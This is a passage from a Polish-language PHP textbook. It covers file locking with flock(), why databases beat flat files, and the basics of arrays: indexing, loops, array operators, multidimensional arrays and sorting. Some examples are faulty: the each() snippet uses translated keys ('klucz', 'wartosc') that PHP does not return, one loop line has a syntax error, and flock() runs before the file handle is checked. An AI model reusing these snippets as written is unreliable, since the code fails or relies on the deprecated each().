kład oba zamówienia wymieszają się ze sobą? Odpowiedź na powyższe pytania zależy od konkret-
nego systemu operacyjnego, ale zazwyczaj jest to wielka niewiadoma.
W celu uniknięcia powyższych problemów stosuje się blokowanie plików. W PHP wykorzystuje
się w tym celu funkcję flock(). Powinna ona zostać wywołana po otwarciu pliku, lecz przed odczy-
taniem go lub zapisaniem w nim danych.

Funkcja flock() posiada następujący prototyp:


bool flock(resource wskaznik_pliku, int dzialanie [, int zablokuj])

Funkcji flock() należy przekazać wskaźnik otwartego pliku i cyfrę określającą wymagany rodzaj
zamka. Funkcja ta zwraca true, jeżeli zamek został prawidłowo założony, a false w przeciwnym
wypadku. Opcjonalny trzeci parametr będzie zawierał wartość true, jeśli założenie zamka spowo-
duje zablokowanie bieżącego procesu (czyli zmuszenie go do przejścia w stan oczekiwania).

Możliwe wartości parametru dzialanie są przedstawione w tabeli 2.2.

Tabela 2.2. Wartości parametru dzialanie funkcji flock()

Wartość parametru dzialanie Znaczenie


LOCK_SH Blokowanie odczytu. Pozwala na dzielenie pliku z innymi czytającymi
LOCK_EX Blokowanie zapisu. Wyłącza plik z użytku; nie może on być dzielony
LOCK_UN Zwolnienie istniejącej blokady
LOCK_NB Dodanie tej wartości do parametru działanie przeciwdziała powstrzymaniu
próby założenia blokady (nie jest ona obsługiwana w systemie Windows)

Stosując funkcję flock(), należy dodać ją do wszystkich skryptów korzystających z pliku. W innym
przypadku jest ona bezwartościowa.

Należy zwrócić uwagę, iż flock() nie działa w systemie NFS i innych sieciowych systemach
plików. Nie działa ona również w starszych systemach plików, które nie obsługują blokowania
plików — systemem takim jest na przykład FAT. W niektórych systemach operacyjnych funkcja
ta jest zaimplementowana na poziomie procesu i nie będzie działać prawidłowo, jeśli stosowany
będzie wielowątkowy API serwera.

Aby zastosować ją w powyższym przykładzie, należy zmienić skrypt przetworzzamowienie.php


w następujący sposób:
88 Część I  Stosowanie PHP

@$wp = fopen("$document_root/../zamowienia/zamowienia.txt", 'ab');


flock($wp, LOCK_EX);

if (!$wp) {
echo "<p><strong> Państwa zamówienie nie może zostać przyjęte w tej chwili.
Proszę spróbować później.</strong></p></body></html>";
exit;
}

fwrite($wp, $ciagwyjsciowy, strlen($ciagwyjsciowy));


flock($wp, LOCK_UN);
fclose($wp);

Do skryptu zobaczzamowienia.php należy również dodać blokady:


@$wp = fopen("$document_root/../zamowienia/zamowienia.txt", 'r');
flock($wp, LOCK_SH); // blokada odczytu pliku
// odczyt z pliku
flock($wp, LOCK_UN); // zwolnienie blokady odczytu
fclose($wp);

Kod jest teraz dużo solidniejszy, ale ciągle niedoskonały. Co by się stało, gdyby dwa skrypty jed-
nocześnie usiłowały założyć blokadę? Spowodowałoby to „wyścig” o bardzo niepewnym wyniku,
co wywołałoby wiele kolejnych problemów. Lepszą metodą jest zastosowanie systemu zarządzania
bazami danych.

Lepszy sposób obróbki danych


— bazy danych
Wszystkie powyższe przykłady używały plików jednorodnych. W drugiej części tej książki opisze-
my alternatywę tej metody — MySQL, system zarządzania relacyjnymi bazami danych (RDBMS).
Można by zapytać, w jakim celu?

Problemy związane ze stosowaniem plików jednorodnych


Istnieje kilka problemów związanych z pracą z plikami jednorodnymi:
 Praca z dużym plikiem może być bardzo powolna.
 Poszukiwanie konkretnego rekordu lub grupy rekordów w pliku jednorodnym jest trudne.
Jeżeli rekordy są uporządkowane, można zastosować pewien sposób przeszukiwania
binarnego w połączeniu z rekordami o ustalonej szerokości i przeszukiwaniem według
pola kluczowego. Aby znaleźć pewne wzory informacji (na przykład wyszukując wszystkich
klientów zamieszkałych w Gliwicach), należy sprawdzać indywidualnie każdy rekord.
 Problemy sprawia dostęp jednoczesny. Powyżej przedstawione zostały sposoby blokowania
plików, ale, jak opisano powyżej, może to spowodować wyścig lub „wąskie gardło”. W razie
dużego ruchu na stronie liczna grupa użytkowników może czekać na odblokowanie pliku,
aby złożyć zamówienie. Jeżeli potrwa to zbyt długo, przeniosą się do konkurencji.
 Wszystkie przedstawione powyżej procesy przetwarzania plików działają sekwencyjnie
— rozpoczynają od początku pliku i czytają go do końca. Aby umieścić lub skasować rekordy
znajdujące się w środku pliku, należy umieścić cały plik w pamięci, dokonać zmian,
a na końcu zapisać go w całości. Podczas pracy z dużymi plikami konieczność wykonywania
wszystkich tych kroków może sprawiać problemy.
Rozdział 2.  Przechowywanie i wyszukiwanie danych 89

 Poza ograniczonymi możliwościami, oferowanymi przez pozwolenia dostępu do plików,


nie istnieje żadna prosta metoda tworzenia różnych poziomów dostępu do danych.

Jak RDBMS rozwiązują powyższe problemy?


Relacyjne systemy zarządzania bazami danych umożliwiają rozwiązania wszystkich powyższych
kwestii.
 RDBMS pozwalają na znacznie szybszy dostęp do plików niż pliki jednorodne. MySQL,
system bazodanowy prezentowany w tej książce, należy do najszybszych RDBMS.
 RDBMS można zadawać zapytania o dane spełniające konkretne kryteria.
 RDBMS posiadają wbudowany mechanizm zapewniania równoległego dostępu,
który pozostaje poza kręgiem pracy programisty.
 RDBMS pozwalają na swobodny dostęp do danych.
 RDBMS posiadają wbudowany system przywilejów. MySQL jest w tej dziedzinie
szczególnie rozbudowany.

Prawdopodobnie głównym powodem używania RDBMS jest to, że możliwości funkcjonalne, które
powinny posiadać systemy przechowywania danych, zostały już w nich zaimplementowane (a przy-
najmniej większość z nich). Oczywiście można napisać własną bibliotekę funkcji PHP, lecz po
co ponownie wymyślać koło?

W części II tej książki opiszemy ogólną zasadę działania relacyjnych baz danych, a w szczególno-
ści konfigurację i zastosowanie MySQL w tworzeniu stron WWW opartych na bazach danych.

Jeżeli tworzony jest prosty system, który nie wymaga pełnowymiarowej bazy danych, natomiast
chcemy uniknąć zakładania zamków i innych komplikacji związanych z używaniem plików pła-
skich, można użyć nowego rozszerzenia PHP o nazwie SQLite. Udostępnia ono SQL-owy interfejs do
pliku płaskiego. W tej książce skupimy się na używaniu serwera MySQL, natomiast więcej informa-
cji na temat SQLite można znaleźć pod adresami http://sqlite.org/ oraz http://www.php.net/sqlite.

Propozycje dalszych lektur


Więcej informacji na temat interakcji z systemem plików znajduje się w rozdziale 17. Opiszemy
w nim metody zmiany pozwoleń dostępu, własności i nazw plików, a także pracę z katalogami
oraz interakcję ze środowiskiem systemu plików.

Zalecamy również lekturę rozdziału na temat systemów plików w podręczniku elektronicznym PHP,
dostępnym pod adresem http://www.php.net/filesystem.

W następnym rozdziale
W kolejnym rozdziale przedstawimy tablice — czym są i jak mogą zostać zastosowane w skryptach
PHP do przetwarzania danych.
90 Część I  Stosowanie PHP
Rozdział 3.
Stosowanie tablic
W tym rozdziale opiszemy zasady stosowania ważnych konstrukcji programistycznych — tablic.
Zmienne przedstawione w poprzednich rozdziałach to zmienne skalarne, tzn. takie, które prze-
chowują pojedynczą wartość. Z kolei tablica to zmienna, która przechowuje zbiór lub sekwencję
wartości. Tablica może posiadać wiele elementów, a każdy z nich może przechowywać pojedyn-
czą wartość, taką jak tekst bądź liczby, lub też inną zmienną. Tablice zawierające w sobie inne tabli-
ce są nazywane tablicami wielowymiarowymi.

PHP obsługuje tablice zarówno z indeksami numerycznymi, jak i łańcuchowymi. W większości


języków programowania używane są tablice indeksowane numerycznie; niektórzy nie mieli jednak
do tej pory do czynienia z tablicami indeksowanymi łańcuchami znaków, choć być może znają
inne podobne struktury danych, nazywane tablicami asocjacyjnymi bądź mieszającymi, mapami
lub słownikami. Tablice asocjacyjne pozwalają na stosowanie w miejscach indeksów wartości
bardziej czytelnych. W ich przypadku każdy element posiada indeks, który nie musi być numerycz-
ny, ale może zawierać słowo lub inne przydatne informacje.

W tym rozdziale do przykładowej aplikacji „Części samochodowe Janka” zostaną wprowadzone ta-
blice w celu łatwiejszego operowania powtarzalnymi informacjami, takimi jak zamówienia klientów.
Podobnie, do operacji na plikach może zostać zastosowany kod krótszy i bardziej uporządkowany.

W tym rozdziale zostaną poruszone następujące zagadnienia:


 tablice indeksowane numerycznie,
 tablice indeksowane nienumerycznie,
 operatory tablicowe,
 tablice wielowymiarowe,
 sortowanie tablic,
 funkcje tablicowe.

Czym są tablice?
Zmienne skalarne zostały omówione w rozdziale 1. Zmienna skalarna to opatrzona nazwą pozycja,
w której przechowuje się wartość. Z kolei tablica to nazwana pozycja, w której przechowuje się
zbiór wartości, w ten sposób grupując zwykłe zmienne.

Przykładową tablicą jest lista produktów Janka z przykładu przytoczonego w poprzednim roz-
dziale. Na rysunku 3.1 jest przedstawiona lista trzech produktów przechowywana w formacie
tablicowym. Te trzy produkty są przechowywane w jednej zmiennej o nazwie $produkty (w dalszej
części zostaną przedstawione sposoby tworzenia podobnych zmiennych).
92 Część I  Stosowanie PHP

Rysunek 3.1.
Produkty Janka mogą
być przechowywane
w tablicy

Dzięki informacjom przechowanym jako tablica można wykonać na nich wiele użytecznych działań.
Stosując przedstawione w rozdziale 1. konstrukcje pętli, można zaoszczędzić wysiłku poprzez
wykonywanie tego samego działania na każdej wartości w tablicy. Cały zbiór danych może być
przemieszczany jako jedna jednostka. W ten sposób, przy użyciu jednego wiersza kodu, wszystkie
wartości zostaną przekazane funkcji. Na przykład aby posortować produkty alfabetycznie, można
przekazać całą tablicę funkcji PHP sort().

Wartości przechowywane w tablicy nazywane są jej elementami. Każdy element tablicy posiada
przypisany indeks (zwany także kluczem), który umożliwia dostęp do niego. Tablice w wielu języ-
kach programowania posiadają indeksy numeryczne, zaczynające się zwykle od zera lub jedynki.
PHP również rozpoznaje ten typ tablic.

PHP pozwala na to, by indeksami tablic były liczby lub łańcuchy znaków. W tradycyjny sposób
można używać tablic indeksowanych numerycznie, lecz kluczami mogą być również dowolne
inne wartości, dzięki którym indeksy będą bardziej użyteczne i opisowe. (Własność taka powinna
być już znana programistom piszącym w innych językach, w których dozwolone jest używanie
asocjacyjnych tablic, słowników lub map). Podejście programistyczne może się nieco różnić
w zależności od tego, czy używane są standardowe tablice indeksowane numerycznie, czy też
zdecydowano się na użycie indeksów o bardziej interesujących wartościach.

Na początku przedstawione zostaną tablice indeksowane numerycznie.

Tablice indeksowane numerycznie


Tablice indeksowane numerycznie rozpoznawane są przez większość języków programowania.
W PHP ich wskaźniki domyślnie rozpoczynają się od zera, lecz wartość ta może zostać zmieniona.

Inicjowanie tablic indeksowanych numerycznie


Aby utworzyć tablicę przedstawioną na rysunku 3.1, należy zastosować następujący wiersz
kodu PHP:
$produkty = array('Opony', 'Olej', 'Świece Zapłonowe');

Powyższy wiersz utworzy tablicę o nazwie produkty, zawierającą trzy podane wartości — 'Opony',
'Olej' i 'Świece Zapłonowe'. Należy zauważyć, że podobnie jak echo, array() to konstrukcja języ-
ka, a nie funkcja.

Począwszy od PHP w wersji 5.4, tablice można także tworzyć przy użyciu nowego, skróconego
zapisu. Polega on na zastosowaniu nawiasów kwadratowych [ oraz ] zamiast operatora array().
Na przykład aby utworzyć tablicę z rysunku 3.1 przy pomocy zapisu skróconego, należałoby zasto-
sować poniższy wiersz kodu:
$produkty = ['Opony', 'Olej', 'Świece Zapłonowe'];
Rozdział 3.  Stosowanie tablic 93

Zależnie od pożądanej zawartości tablicy nie zawsze jest potrzebne ręczne inicjowanie tej zawar-
tości. Jeżeli potrzebne dane znajdują się w innej tablicy, można bezpośrednio skopiować jedną
tablicę do drugiej, stosując operator =.

Aby przechować w tablicy rosnącą sekwencję liczb, warto zastosować funkcję range(), która
automatycznie utworzy tablicę. Poniższy wiersz kodu utworzy tablicę o nazwie liczby o elemen-
tach od 1 do 10:
$liczby = range(1,10);

Funkcja range() posiada opcjonalny trzeci parametr, który pozwala na definiowanie długości kroku
między kolejnymi wartościami. Jeżeli na przykład chcemy utworzyć tablicę zawierającą liczby
nieparzyste od 1 do 10, możemy to zrobić za pomocą następującego polecenia:
$nieparzyste = range(1, 10, 2);

Funkcja ta może być również używana w odniesieniu do znaków, jak w poniższym przykładzie:
$litery = range('a', 'z');

Jeżeli informacje zawarte są w pliku na dysku, tablica może zostać załadowana bezpośrednio
z pliku. Kwestię tę omówimy w dalszej części tego rozdziału, w podrozdziale „Wczytywanie tablic
z plików”.

Jeżeli dane, które powinny zostać umieszczone w tablicy, są przechowywane w bazie danych,
można załadować je bezpośrednio z bazy. Kwestia ta zostanie opisana w rozdziale 11.

Można również zastosować różne funkcje w celu odczytania części tablicy lub zmiany jej porządku.
Niektóre z tych funkcji zostaną przedstawione w dalszej części tego rozdziału, w podrozdziale
„Wykonywanie innych działań na tablicach”.

Dostęp do zawartości tablicy


W celu uzyskania dostępu do zmiennej używa się jej nazwy. Jeżeli zmienna jest tablicą, należy
zastosować jej nazwę oraz klucz lub indeks. Klucz (indeks) pokazuje, które wartości mają zostać
pobrane. Indeks jest umieszczany po nazwie w nawiasach kwadratowych.

Innymi słowy, aby użyć poszczególnych wartości z tablicy produktów, należy wpisać, odpowiednio,
$produkty[0], $produkty[1] i $produkty[2].

Istnieje także możliwość odwoływania się do elementów tablicy przy użyciu nawiasów klamrowych
({}) zamiast kwadratowych ([]). W takim przypadku wartość pierwszego elementu tablicy produk-
tów można by pobrać, wykorzystując wyrażenie $produkty{1}.

Domyślnie element zero to pierwszy element tablicy. Taki sam schemat numerowania stosuje się
w C, C++, Javie i w kilku innych językach. Osoby nieznające go będą musiały poświęcić trochę
czasu na zapoznanie się z tym elementem.

Podobnie jak w przypadku innych zmiennych, zawartość elementów tablicy może być modyfikowa-
na przy użyciu operatora =. Następujący wiersz kodu zastąpi pierwszy element w powyższej tablicy,
'Opony', na 'Bezpieczniki'.
$produkty[0] = 'Bezpieczniki';

Następujący wiersz może zostać zastosowany w celu dodania nowego elementu — 'Bezpieczniki'
— na końcu tablicy, co w efekcie dałoby cztery elementy:
$produkty[3] = 'Bezpieczniki';
94 Część I  Stosowanie PHP

Aby wyświetlić zawartość, należy wpisać następujący wiersz:


echo "$produkty[0] $produkty[1] $produkty[2] $produkty[3]";

Należy zwrócić uwagę, iż o ile parsowanie łańcuchów znaków jest w PHP rozwiązane bardzo spryt-
nie, to można wprowadzić w nim dużo zamieszania. W razie wystąpienia kłopotów polegających
na nieprawidłowej interpretacji tablic lub innych zmiennych osadzonych w łańcuchu znaków
otoczonym cudzysłowem, można je wyjąć poza cudzysłowy lub zastosować bardziej złożoną
składnię, o której więcej powiemy w rozdziale 4. Powyższa instrukcja echo zadziała prawidłowo,
jednak w wielu bardziej złożonych przypadkach umieszczonych w dalszej części tego rozdziału
zmienne będą umieszczane poza cudzysłowami.

Podobnie jak inne zmienne w PHP, tablice nie muszą być inicjowane ani tworzone z wyprzedze-
niem. Powstają one automatycznie przy pierwszym zastosowaniu.

Poniższy kod utworzy identyczną tablicę $produkty jak tablica utworzona wcześniej przy użyciu
instrukcji array():
$produkty[0] = 'Opony';
$produkty[1] = 'Olej';
$produkty[2] = 'Świece Zapłonowe';

Jeżeli tablica $produkty wcześniej nie istniała, pierwszy wiersz utworzy nową tablicę z tylko
jednym elementem. Następne wiersze dodadzą do niej wartości. W momencie dodawania wierszy
rozmiar tablicy jest automatycznie zmieniany. Własność taka w wielu językach programowania
nie jest dostępna.

Dostęp do tablic przy zastosowaniu pętli


Ponieważ tablica jest indeksowana poprzez sekwencję liczb, w celu łatwiejszego wyświetlenia
jej zawartości można zastosować pętlę for:
for ($i = 0; $i<3; $i++) {
echo $produkty[$i]." ";
}

Pętla powyższa da wynik podobny do poprzedzającego ją kodu, lecz nie wymaga tyle wysiłku,
co ręczne wpisywanie kodu w trakcie pracy z każdym elementem dużej tablicy. Zdolność stosowa-
nia prostych pętli w celu dostępu do każdego elementu to przydatna właściwość tablic. Można
również zastosować pętlę foreach, przeznaczoną specjalnie do przetwarzania tablic. W tym przykła-
dzie można by ją zastosować w następujący sposób:
foreach ($produkty as $biezacy) {
echo $biezacy." ";
}

Powyższy kod zapisze każdy kolejny element tablicy $produkty w zmiennej $biezacy i wyświetli ją.

Tablice z innymi indeksami


W tabeli produktów PHP nadał każdemu elementowi domyślny indeks. Oznacza to, że pierwszy
dodany element został elementem 0, drugi — 1 itd. PHP pozwala również na zastosowanie tablic,
w których można przypisać dowolną wartość dowolnemu indeksowi czy kluczowi.
Rozdział 3.  Stosowanie tablic 95

Inicjowanie tablicy
Następujący kod tworzy tablicę, w której nazwy produktów są kluczami, a ceny wartościami:
$ceny = array('Opony'=>100, 'Olej'=>10, 'Świece Zapłonowe'=>4);

Symbol znajdujący się między kluczami i wartościami (=>) to po prostu znak równości oraz
znak „większe niż”.

Dostęp do elementów tablicy


W tym wypadku również stosuje się nazwę zmiennej i klucz w celu dostępu do zawartości. Dostęp
do informacji przechowywanych w tablicy cen można zatem uzyskać przez wpisanie $ceny['Opony'],
$ceny['Olej'] i $ceny['Świece Zapłonowe'].

Podany niżej kod utworzy taką samą tablicę $ceny. Zamiast tablicy trzyelementowej ta wersja
tworzy tablicę z tylko jednym elementem, a potem dodaje kolejne dwa.
$ceny = array('Opony'=>100);
$ceny['Olej'] = 10;
$ceny['Świece Zapłonowe'] = 4;

Poniżej przedstawiono nieco inny, lecz równoznaczny fragment kodu. W tym wariancie tabela
nie jest tworzona ręcznie, lecz automatycznie przy dodaniu do niej pierwszego elementu.
$ceny['Opony'] = 100;
$ceny['Olej'] = 10;
$ceny['Świece Zapłonowe'] = 4;

Stosowanie pętli
Ponieważ indeksy w powyższej tablicy asocjacyjnej nie są liczbami, do pracy z tablicą nie można
zastosować zwykłego licznika w pętli for. Można natomiast wykorzystać pętlę foreach lub kon-
strukcję list() albo each().

Pętla foreach ma nieco odmienną strukturę, gdy jest stosowana do przeglądania tablic z indeksami
innymi niż numeryczne. Możemy zastosować ją dokładnie tak samo jak w poprzednim przykładzie
lub uwzględnić w niej również klucze:
foreach ($ceny as $klucz => $wartosc) {
echo $klucz." - ".$wartosc."<br />";
}

Poniższy kod wyświetla zawartość tablicy $ceny:


while($element = each($ceny)) {
echo $element['klucz']." – ".$element['wartosc'];
echo "<br />";
}

Wynik tego fragmentu skryptu jest przedstawiony na rysunku 3.2.

W rozdziale 1. przedstawiliśmy pętlę while oraz instrukcję echo. Powyższy kod stosuje funkcję
each(), która nie została wcześniej przedstawiona. Zwraca ona bieżący element tablicy oraz
nadaje następnemu atrybut bieżącego. Ponieważ w powyższym przykładzie funkcja each() jest
wywoływana wewnątrz pętli while, zwraca ona po kolei każdy element tablicy i zatrzymuje się po
osiągnięciu jej końca.
96 Część I  Stosowanie PHP

Rysunek 3.2.
Instrukcja each() może
zostać użyta do pracy
z tablicami

W powyższym kodzie zmienna $element to tablica. Przy wywołaniu funkcja each() zwraca tablicę
z czterema wartościami oraz cztery indeksy wskazujące na ich pozycję. Pozycje key i 0 zawierają
klucz bieżącego elementu, a pozycje value i 1 — jego wartość. W tym przykładzie występują
nazwane pozycje, lecz jest to wyłącznie kwestia wyboru.

Istnieje również częściej spotykany i elegantszy sposób wykonania powyższych działań. Konstruk-
cję list() stosuje się do rozdzielenia tablicy na kilka wartości. Można rozdzielić dwie wartości
zwracane przez funkcję each() w następujący sposób:
while (list($produkt, $cena) = each($ceny)) {
echo $produkt ." - ". $cena."<br />";
}

W powyższym wierszu zastosowano funkcję each() w celu pobrania bieżącego elementu z tablicy
$ceny, zwrócenia go jako tablicy oraz uczynienia następnego elementu bieżącym. Funkcja list()
jest zastosowana po to, aby zamienić elementy 0 i 1 tablicy zwróconej przez each() na dwie nowe
zmienne o nazwach $produkt i $cena.

Warto zwrócić uwagę na to, że podczas stosowania funkcji each() tablica pamięta obecnie
przetwarzany element. Jeśli więc ta sama tablica będzie musiała zostać użyta dwukrotnie w tym
samym skrypcie, to konieczne będzie ponowne ustawienie jej bieżącego elementu na pierwszy
element tablicy. Służy do tego funkcja reset(). A zatem aby po raz kolejny przejrzeć zawartość
tablicy cen, należy użyć poniższego fragmentu kodu:
reset($ceny);
while (list($produkt, $cena) = each($ceny)) {
echo $produkt ." - ". $cena."<br />";
}

Powyższy kod ustawia bieżący element na początku tablicy i pozwala na ponowne przejście
przez nią.

Operatory tablicowe
Istnieje jeden zestaw specjalnych operatorów dotyczących wyłącznie tablic. Większość z nich
ma swoje odpowiedniki wśród operatorów skalarnych, o czym można się przekonać, analizując
tabelę 3.1.
Rozdział 3.  Stosowanie tablic 97

Tabela 3.1. Operatory tablicowe w PHP

Operator Nazwa Przykład użycia Wynik


+ Unia $a + $b Unia tablic $a i $b. Tablica $b jest dodawana do tablicy $a,
nie jest to jedynie dodawanie wartości o identycznych kluczach
== Równość $a == $b Zwraca wartość true, jeśli $a i $b mają te same elementy
=== Identyczność $a === $b Zwraca wartość true, jeśli $a i $b mają te same elementy
o tych samych typach i ułożone w tej samej kolejności
!= Nierówność $a != $b Zwraca wartość true, jeśli $a i $b nie zawierają takich samych
elementów
<> Nierówność $a <> $b Działa tak samo jak !=
!== Nieidentyczność $a !== $b Zwraca wartość true, jeśli $a i $b nie zawierają tych samych
elementów o tych samych typach w tej samej kolejności

Działanie większości z tych operatorów jest oczywiste, szerszych wyjaśnień wymaga jedynie ope-
rator unii. Próbuje on dodać elementy tablicy $b na koniec tablicy $a. Jeżeli elementy z $b mają
takie same klucze jak niektóre elementy obecne już w $a, nie zostaną one dodane. Oznacza to,
że żaden element tablicy $a nie zostanie nadpisany.

Nietrudno zauważyć, że wszystkie operatory tablicowe przedstawione w tabeli 3.1 posiadają


swoje odpowiedniki działające na wartościach skalarnych. Wystarczy tylko zapamiętać, że +
wykonuje operację dodawania na danych skalarnych i unię na tablicach — nawet jeśli nie prze-
jawia się szczególnego zainteresowania zasadami arytmetyki różniącymi te dwa działania —
a działanie operatorów szybko nabierze sensu. Nie istnieje natomiast możliwość użytecznego
porównywania tablic z danymi skalarnymi.

Tablice wielowymiarowe
Tablice to niekoniecznie proste listy kluczy i wartości — każda pozycja tablicy może przechowy-
wać inną tablicę. W ten sposób można utworzyć tablicę dwuwymiarową, traktowaną jako macierz
bądź siatkę posiadającą szerokość i wysokość, czyli rzędy i kolumny.

Aby przechować więcej niż jedną cechę charakterystyczną dla każdego towaru firmy Janka, można
zastosować tablicę dwuwymiarową. Rysunek 3.3 ukazuje towary zapisane w postaci tablicy dwuwy-
miarowej, w której każdy rząd przedstawia pojedynczy produkt, a każda kolumna — jego atrybuty.
Rysunek 3.3.
W tablicy dwuwymiarowej
można przechować
więcej informacji
na temat produktów
sprzedawanych
w firmie Janka
98 Część I  Stosowanie PHP

Stosując PHP, można utworzyć następujący kod zapisujący dane w tablicy przedstawionej na
rysunku 3.3:
$produkty = array ( array( 'OPO', 'Opony', 100 ),
array( 'OLE', 'Olej', 10 ),
array( 'SWI', 'Świece Zapłonowe', 4 ) );

Należy zauważyć, że według powyższej definicji tablica produktów zawiera trzy inne tablice.

Aby uzyskać dostęp do danych znajdujących się w tablicy jednowymiarowej, trzeba podać jej nazwę
oraz indeks elementu. W tablicy dwuwymiarowej należy postąpić podobnie, poza tym że każdy
element posiada dwa indeksy — rząd i kolumnę (szczytowy rząd to rząd 0, a kolumna pierwsza
z lewej to kolumna 0).

Aby wyświetlić zawartość powyższej tablicy, można ręcznie uzyskać dostęp do każdego elementu
w poniższym porządku:
echo '|'.$produkty[0][0].'|'.$produkty[0][1].'|'.$produkty[0][2].'|<br />';
echo '|'.$produkty[1][0].'|'.$produkty[1][1].'|'.$produkty[1][2].'|<br />';
echo '|'.$produkty[2][0].'|'.$produkty[2][1].'|'.$produkty[2][2].'|<br />';

Alternatywnie, można umieścić pętlę for wewnątrz drugiej pętli for, co da identyczny wynik:
for($rzad = 0; $rzad < 3; $rzad++) {
for ($kolumna = 0; $kolumna < 3; $kolumna++) {
echo '|'.$produkty[$rzad][$kolumna];
}
echo '|<br />';
}

Obie powyższe wersje kodu wyświetlą identyczny wynik w przeglądarce:


|OPO|Opony|100|
|OLE|Olej|10|
|SWI|Świece Zapłonowe|4|

Jedyna różnica pomiędzy dwoma powyższymi przykładami polega na tym, że przy pracy z więk-
szymi tablicami druga wersja jest znacznie krótsza.

Można również nadać kolumnom nazwy zamiast numerów, jak przedstawiono na rysunku 3.3.
W celu przechowania tego samego zbioru produktów w kolumnach o nazwach jak na rysunku 3.3
trzeba zastosować następujący kod:
$produkty = array( array( 'Kod' => 'OPO',
'Opis' => 'Opony',
'Cena' => 100
),
array( 'Kod' => 'OLE',
'Opis' => 'Olej',
'Cena' => 10
),
array( 'Kod' => 'SWI',
'Opis' => 'Świece Zapłonowe',
'Cena' => 4
)
);

Z powyższej tablicy łatwiej jest wyciągnąć pojedynczą wartość, a także zapamiętać, że opis
produktu przechowywany jest w kolumnie Opis, a nie w kolumnie 1. Przy zastosowaniu tablic
asocjacyjnych nie trzeba pamiętać, że jednostka zapamiętana jest w [x][y]. Można bez trudu
odnaleźć dane, odnosząc się do pozycji o znaczących nazwach rzędów i kolumn.
Rozdział 3.  Stosowanie tablic 99

W ten sposób jednak traci się możliwość zastosowania zwykłej pętli for w celu przeskoczenia
za jednym razem jednej kolumny. Poniżej przedstawiono jeden ze sposobów wyświetlenia tej tablicy:
for($rzad = 0; $rzad < 3; $rzad++) {
echo '|'.$produkty[$rzad]['Kod']. '|'.$produkty[$rzad]['Opis'].
'|'.$produkty[$rzad]['Cena'].'|<br />';
}

Stosując pętlę for, można pracować z zewnętrzną, indeksowaną numerycznie tablicą $produkty,
której każdy rząd jest tablicą z indeksami opisowymi. Stosując funkcje each() i list() wewnątrz
pętli while, można pracować z tablicami wewnętrznymi. Można zatem wewnątrz pętli for umieścić
drugą pętlę — while — jak pokazano w poniższym przykładzie:
for ($rzad = 0; $rzad < 3; $rzad++) {
while (list($klucz, $wartosc) = each($produkty[$rzad])) {
echo '|'.$wartosc";
}
echo "|<br />";
}

Dwa wymiary nie są granicą — elementy tablicy mogą przechowywać nowe tablice, te zaś —
więcej tablic.

Tablica trójwymiarowa posiada wysokość, szerokość i głębokość. Jeżeli tablicę dwuwymiarową


można traktować jako tabelę z rzędami i kolumnami, to trójwymiarowa jest stosem takich tabel.
Każdy jej element posiada własności, takie jak: warstwa, rząd i kolumna.

Jeżeli Janek podzieliłby produkty swojej firmy na kategorie, to mógłby w celu ich przechowania
zastosować tablicę trójwymiarową (zobacz rysunek 3.4).

Rysunek 3.4.
Tablica trójwymiarowa
pozwala na dzielenie
produktów na kategorie
100 Część I  Stosowanie PHP

Z kodu definiującego powyższą tablicę można wywnioskować, że tablica trójwymiarowa zawiera


tablice tablic.
$kategorie =array(array(array('SAM_OPO', 'Opony', 100 ),
array('SAM_OLE', 'Olej', 10 ),
array('SAM_SWI', 'Świece Zapłonowe', 4 )
),
array(array('VAN_OPO', 'Opony', 120 ),
array('VAN _OLE', 'Olej', 12 ),
array('VAN _SWI', 'Świece Zapłonowe', 5 )
),
array(array('CIE_OPO', 'Opony', 150 ),
array('CIE_OLE', 'Olej', 15 ),
array('CIE_SWI', 'Świece Zapłonowe', 6 )
)
);

Ponieważ zawiera ona jedynie indeksy numeryczne, w celu wyświetlenia jej zawartości można
wykorzystać zagnieżdżone pętle for.
for ($warstwa = 0; $warstwa < 3; $warstwa++) {
echo 'Warstwa '.$warstwa."<br />";
for($rzad = 0; $rzad < 3; $rzad++) {
for ($kolumna = 0; $kolumna < 3; $kolumna++) {
echo '|'.$kategorie[$warstwa][$rzad][$kolumna];
}
echo '|<br />';
}
}

Ze sposobu konstruowania tablic wielowymiarowych wynika możliwość tworzenia tablic cztero-,


pięcio- bądź sześciowymiarowych. W konstrukcji języka nie istnieje limit ilości wymiarów,
lecz trudno jest wyobrazić sobie konstrukcje więcej niż trójwymiarowe ze względu na większość
problemów świata realnego.

Sortowanie tablic
Zazwyczaj przydatne jest uporządkowanie związanych ze sobą danych znajdujących się w tablicy.
Posortowanie tablicy jednowymiarowej nie nastręcza trudności.

Stosowanie funkcji sort()


Uruchomienie poniższego kodu zawierającego funkcję sort() daje w efekcie tablicę uporządko-
waną rosnąco alfabetycznie:
$produkty = array( 'Opony', 'Olej', 'Świece Zapłonowe' );
sort($produkty);

Elementy powyższej tablicy występują teraz w porządku: Olej, Opony, Świece Zapłonowe.

Wartości można również posortować w porządku numerycznym. Tablica zawierająca ceny produk-
tów Janka może zostać uporządkowana rosnąco numerycznie w następujący sposób:
$ceny = array( 100, 10, 4 );
sort($ceny);

Ceny będą teraz występować w porządku: 4, 10, 100.


Rozdział 3.  Stosowanie tablic 101

Należy zauważyć, że funkcja sort() zwraca uwagę na wielkość liter. Wszystkie wielkie litery
zostają umieszczone przed małymi; tak więc A to mniej niż Z, ale Z to mniej niż a.

Funkcja ta posiada również drugi, opcjonalny parametr. Można do niej przekazać jedną ze stałych
SORT_REGULAR (jest to stała domyślna), SORT_NUMERIC, SORT_STRING, SORT_LOCALE_STRING,
SORT_NATURAL lub SORT_FLAG_CASE.

Możliwość definiowania rodzaju sortowania okazuje się użyteczna, gdy porównujemy łańcuchy
znaków mogące zawierać liczby, na przykład 2 i 12. Pod względem liczbowym 2 jest mniejsze
od 12, jednak łańcuch znaków '12' jest mniejszy od '2'.

Zastosowanie wartości SORT_LOCALE_STRING spowoduje posortowanie tablicy alfabetycznie —


jej wartości zostaną potraktowane jako łańcuchy znaków — z uwzględnieniem obecnie wybra-
nych ustawień lokalnych, gdyż mają one wpływ na kolejność sortowania.

Użycie wartości SORT_NATURAL spowoduje zastosowanie naturalnej kolejności sortowania. Analo-


giczny efekt można uzyskać, stosując funkcję natsort(). Sortowanie naturalne można potrak-
tować jako bardziej intuicyjne połączenie sortowania alfabetycznego i liczbowego. Na przykład
alfabetyczne posortowanie łańcuchów 'plik1', 'plik2' oraz 'plik10' spowodowałoby zapisanie ich
w następującej kolejności: 'plik1', 'plik10', 'plik2'. W przypadku zastosowania sortowania natu-
ralnego łańcuchy te zostałyby zapisane w kolejności: 'plik1', 'plik2', 'plik10', która dla nas
